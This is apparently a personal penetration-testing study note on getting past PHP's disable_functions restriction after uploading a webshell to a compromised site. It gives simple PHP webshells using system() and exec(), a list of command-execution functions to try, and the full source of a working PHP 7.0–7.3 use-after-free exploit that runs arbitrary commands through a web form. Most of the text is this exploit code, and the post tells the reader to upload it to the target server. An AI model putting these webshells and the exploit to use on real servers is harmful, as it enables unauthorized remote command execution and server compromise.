WebShell command execution restrictions (solution)

This column is the author's network security learning notes, which are shared and used as notes at the same time

Previous link

  1. Construction of Wamp / DVWA / sqli Labs
  2. Use of burpsuite tool to capture packets and Intruder brute force cracking
  3. Use of directory scanning, request retransmission, vulnerability scanning and other tools
  4. Website information collection and download and use of nmap
  5. SQL injection (1) -- understand the causes and manual injection methods
  6. SQL injection (2) -- various injections
  7. SQL injection (3) -- SQLMAP
  8. SQL injection (4) -- actual SQL injection takes webshell
  9. Me and my girl friend of Vulnhub target penetration
  10. XSS vulnerability
  11. File upload vulnerability
  12. File upload bypass
  13. File contains vulnerability
  14. Zico 2 of Vulnhub target penetration
  15. Command Execution Vulnerability
  16. Logical vulnerability (unauthorized access and payment vulnerability)
  17. Website background security
  18. Use of weevely and killing free (kitchen knife in Linux)
  19. MSF(1) - one complete penetration process

introduce

In the process of infiltrating a website, it is often encountered that the command cannot be executed after uploading the WebShell, as shown in the ant sword

In this case, the command execution function is usually disabled by the administrator of the server

In WebShell, the system() function is often used to execute system commands, but if the server administrator is disabled in php.ini_ If the function is disabled in function, it cannot be used.

There is a file called php.ini, which is a PHP configuration file with a disable_functions option, which can define functions disabled by PHP

For example, if I'm in disable_ If system is filled in functions, my PHP cannot use the system function to execute system commands

index.php

<?php system($_REQUEST['cmd']); ?>

Access in the web page

The command cannot be executed using this function.

Bypass method 1

Want to bypass disable_function, the easiest way is to find the command execution function that is not disabled

For example, if the server prohibits the system function but does not prohibit the exec function, the command can be executed with the exec function

<?php 
    exec($_REQUEST['cmd'],$result);
    print_r($result);
 ?>

Access in the web page

Here are the functions that can execute system commands in php

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

When you can't execute system commands, you can check the disabled_ Function prohibited functions, and then compare them. If you find a function missing from the server, you can execute the system command.

You can upload a phpinfo to the server to view the disabled functions

Bypass method 2

There is a plug-in in ant sword called disable_functions, this plug-in can try to bypass disable_function


There are many online tutorials about this. At the same time, I feel very chicken ribs. Almost all websites are banned.

Bypass method 3

After I tried various methods on the network and failed. I still opened github to see if there is a big guy's code.

An available was found and successfully bypassed

github address: https://github.com/cbaker730/php_disabled_functions_webshell

Look at the code provided by the boss
df_webshell.php

<html>
<head></head>

<body>

<h2>Webshell for disabled_functions</h2>

<form method="get">
    <input type="text" name="cmd" id="cmd" onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required><button type="submit">Execute</button>
</form>

</body>
</html>



<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
# Improvements: https://github.com/cbaker730




if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        pwn($cmd);
        #system($cmd);
        echo "</pre>";
        die;
}







#pwn("sudo -l > /var/www/html/shop/vqmod/xml/sudo_output.txt");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
?>

The script only supports versions of php7.0 to php7.3.

Upload the script to the server to execute the system command

Keywords: PHP security webshell

Added by Mountain Water on Mon, 20 Sep 2021 10:04:11 +0300